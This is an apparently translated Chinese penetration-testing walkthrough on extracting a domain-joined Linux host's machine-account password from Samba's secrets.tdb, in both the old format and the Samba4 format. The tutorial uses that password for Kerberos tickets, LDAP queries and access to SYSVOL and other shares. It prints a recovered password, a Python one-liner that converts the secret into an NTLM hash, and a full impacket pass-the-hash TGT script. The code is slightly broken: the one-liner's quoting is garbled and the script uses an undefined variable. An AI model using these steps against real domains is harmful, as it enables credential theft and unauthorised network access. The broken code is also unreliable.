通过阅读SAMBA文档可以了解到通过阅读secrets.tdb数据库就可以得到机器账户的明文密码。
现在,我们使用的是旧版本的linux环境,并且已经加入到了域中,主机名为:ubuntu3.如图:
观察上图可以看到secrets.tdb数据库中有以下的内容:
1. SECRETS/SALTING_PRINCIPAL/DES/LAB.BRANSH.COM: 这一数据将主机名,域名展示给了我们。将以$符号结束的用户名记录下来,在这一环境中,用户名为ubuntu3$. 2. SECRETS/MACHINE_PASSWORD/LAB:这一数据就展示了机器账户(ubuntu3$)的明文密码,长度为14个字节(加上终止符0),这一环境中,密码为:"UeHjnbam_zdtr#"
接下来使用我们得到的账户密码得到一个Kerberos TGT,然后查询LDAP数据库:
上图中,可以观察到:
1. 用户ubuntu13执行kinit命令从KDC中获得了TGT。 2. 通过klist命令列出了tickets 3. 通过ldapsearch使用Kerberos认证方法进行LDAP查询。
继续使用机器用户进入到域中默认的SYSVOL共享文件夹:
上图中得到的信息:
1. ubuntu13通过kinit命令得到一个TGT。 2. 通过klist获取tickets。 3. 通过smbclient使用Kerberos就可以进入默认域中的SYSVOL文件夹。
使用此帐号获得网络上无限制的共享:
这张图你会发现:
1. 通过smbclient使用机器账户获得的Kerberos票据就可以访问到域成员共享的内容。 2. 通过klist命令获得域中的tickets。
适用于SAMBA4的方法
在SAMBA4中,渗透过程会有一些不同。在一个新的Samba服务器中,当我们查看secrets.tdb数据库时,我们会得到一大串hex数值,并且他们不是ascii码:
为了了解到这一数值在secrets.tdb中是怎么生成的,我们需要去阅读Samba4的源代码。由于Samba代码非常长,我们需要找到开始的地方。
可能你以前知道,”net ads changetrustpw”命令可以修改机器账户的密码:
我们可以通过查找与”net ads”(net_ads.c)命令相关联的文件,或者使用grep进而查找源文件中是否包含”Changeing password for printcipal”。无论哪一种方式,我们最后得到如下代码:
下图展示了net_ads_changetrustpw函数的源码:
在2378行,ads_change_trust_account_password这一函数被调用,其中包括两个参数:ads,host_printcipal。
下图,展示了位于util.c中的ads_change_trust_account_password函数:
38行调用了trust_pw_new_value这一方法,其中包括三个参数,其中特别需要注意的是SEC_ADS这个参数。下面开始查找这一函数吧。
下图就是trust_pw_new_value函数,他会调用generate_random_machine_password,并且参数最小值为128,最大值为255。
注释中可以看到它是将特定缓冲区转换为utf-8。
所以,在继续查看代码之前,我们先将获得的hex进行utf-8解码。复制我们在secrets.tdb中获得的代码hex:
接下来,使用下方python代码,进行生成NTLMhash:
# echo “E79EB7…880” | python -c “import hashlib,binascii;print binascii.hexlify(hashlib.new(‘md4’,binascii.unhexlify(raw_input().replace(‘’, ‘’).replace(‘00’,’’)).decode(‘utf-8’).encode(‘utf-16le’)).digest())”
下图,展示了我们为机器账户生成的NTLMhash值:
得到的NTLMhash值为a879b96849623f7ab57bf35f8a3a658c。我们对它是否可以进入SYSVOL进行测试。
下图展示了使用这一hash我们进入到了SYSVOL共享文件夹:
现在,我们使用NTLM hash值从TGT中获得TGT,进而通过ldapsearch进行LDAP查询:
上图中,可以看到我们使用了一个python脚本来获得TGT。get_tgt.py代码的内容非常简单,它完全基于impacket库。剩余的代码与第一种情况的作用是一样的。
get_tgt.py内容如下:
from impacket.krb5.ccache import CCache from impacket.krb5.kerberosv5 import getKerberosTGT from impacket.krb5 import constants from impacket.krb5.types import Principal import argparse, sys from binascii import unhexlify def main(domain, username, password, ntlm, kdc): # First of all, we need to get a TGT for the user userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) nthash = unhexlify(ntlm) # getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost) print '[*] Requesting a TGT from the KDC...' tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, '', nthash, '', kdc) print '[*] Generating a CCACHE...' ccache = CCache() ccache.fromTGT(tgt, oldSessionKey, sessionKey) tgt_name = user + '@' + domain + '_TGT_.ccache' print '[*] Saving the CCACHE into the file %s...' % (tgt_name) ccache.saveFile(tgt_name) if __name__ == '__main__': print 'nSimple br@nsh test for getting a TGTn' parser = argparse.ArgumentParser(add_help = True, description = "Gets a TGT from the KDC") parser.add_argument('-user', action='store', default='', help="Domain User (sAMAccountName)") parser.add_argument('-password', action='store', default='', help='User's password') parser.add_argument('-domain', action='store', default='', help='Domain name') parser.add_argument('-ntlm', action="store", default='', metavar="NTHASH", help='NTLM hash') parser.add_argument('-kdc', action='store', default='', help='Domain Controller') # Parse the arguments options = parser.parse_args() domain = options.domain user = options.user password = options.password ntlm = options.ntlm kdc = options.kdc # If not enough information is provided if domain == '' or user == '' or kdc == '': parser.print_help() sys.exit(1) # If the password was not provided, then ask for it if password == '' and user != '' and ntlm == '': from getpass import getpass password = getpass("Password:") # If a hash is provided, then use it if ntlm != '': password = None try: main(domain, user, password, ntlm, kdc) except Exception, e: import traceback print traceback.print_exc()